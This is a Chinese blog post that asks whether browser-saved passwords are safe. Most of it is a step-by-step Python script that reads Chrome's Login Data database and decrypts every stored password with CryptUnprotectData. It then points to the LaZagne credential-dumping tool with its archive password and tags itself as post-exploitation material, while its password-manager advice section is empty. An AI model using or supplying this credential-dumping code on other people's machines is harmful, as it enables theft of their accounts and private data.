使用浏览器自带的自动保存密码到底安全吗?

作者:FancyPig | 发布时间: | 更新时间:

相关阅读

data-postsbox="{"id":192,"title":"如何通过局域网欺诈获取账户密码","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":3489,"comment_count":2,"category":"project","is_forum_post":false}">{"id":192,"title":"如何通过局域网欺诈获取账户密码","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":3489,"comment_count":2,"category":"project","is_forum_post":false}
data-postsbox="{"id":1993,"title":"密码疑似泄露?究竟问题出在哪儿?如何导出浏览器中的密码?","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":8817,"comment_count":109,"category":"knowledge","is_forum_post":false}">{"id":1993,"title":"密码疑似泄露?究竟问题出在哪儿?如何导出浏览器中的密码?","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":8817,"comment_count":109,"category":"knowledge","is_forum_post":false}

杂谈

其实,我们之前的文章很早就提到过浏览器中的密码安全问题,今天我们重点来聊聊使用浏览器自带的密码存储功能究竟安全吗?如果黑客远程控制了你的电脑,或者给你发送了恶意的脚本,能否快速导出你浏览器中的密码?如果可以,那么又有什么不错的方式可以解决密码管理问题呢?

视频讲解

相关资源

python脚本

请先安装相关环境

pip install pypiwin32

相关代码讲解

首先,让我们从导入所需的所有依赖项开始,并设置 Chrome 配置文件用户数据的文件夹位置。

所需依赖项:sqlite3 和 win32crypt

import os, sqlite3, win32crypt
# Automatically get the logged in user's default folder
data = os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default\Login Data"

接下来,我们将不得不使用 sqlite3 连接到 Chrome 存储所有用户数据的数据库。让我们看一下数据库结构。我使用了一个名为 SQLite Expert 的免费工具,但软件的选择并不重要,甚至不需要——我只是一个非常直观的人。

您的密码在 Chrome 上的存储方式的数据库结构

通过查看数据库表,我注意到了三列:action_urlusername_valuepassword_value。请注意,password_value类型是 BLOB — 它是加密的,但设计不佳(我们稍后会谈到)

看起来像一堆废话,对吧?不是很长。

从这里我们将进行一个简单的 SQL 查询来获取相应的值并存储它们以进行解密。

如果您收到有关数据库被锁定的错误,那是因为另一个程序(可能是您正在阅读本文的 Chrome 窗口😉)已经打开了数据库。您需要关闭所有 Chrome 窗口,并且最好执行 control+alt+delete 以确保没有延迟运行的 Chrome 服务。

# Connect to Login Data database
connection = sqlite3.connect(data) cursor = connection.cursor()
# Query the values of interest to us
cursor.execute('SELECT action_url, username_value, password_value FROM logins') final_data = cursor.fetchall()
# Close the database connection
cursor.close()

我们现在收集的加密密码是由 Windows 函数CryptProtectData生成的。数据只能由具有相同Windows登录凭据和加密数据的同一台计算机的用户解密。听起来超级安全!正确的?

嗯,不。如果黑客设法访问您的计算机,无论是通过未受保护的端口还是您设法感染的僵尸网络类型木马,那么黑客已经拥有您的 Windows 凭据,并且将运行解密功能在你的电脑。就像有CryptProtectData一样,还有一个CryptUnprotectData函数,我们将使用它来获取密码的明文版本。

# Iterating through all the values found...
for chrome_logins in final_data: password = win32crypt.CryptUnprotectData(chrome_logins[2], None, None, None, 0)[1] print("Website : "+str(chrome_logins[0])) print("Username : "+str(chrome_logins[1])) print("Password : "+str(password))

就是这样。仅用 12 行代码,我就提取了 2011 年以来以明文形式保存的所有 588 个密码。

其他敏感数据,例如浏览历史记录和 cookie,也可以使用类似方法轻松提取

密码管理工具推荐

获取浏览器密码工具

上述工具解压密码为www.pigsec.cn

你需要下载后将上述lazagne.exe文件拖入cmd中,然后空格后面接相应的命令

相关命令如下

此处内容已隐藏,请评论后刷新页面查看.
标签:浏览器密码, 后渗透阶段, 浏览器工具, 浏览器导出密码, 浏览器自动保存密码, 浏览器密码保存在哪里, 浏览器密码保存设置如何删除, 浏览器密码不安全, 浏览器密码安全吗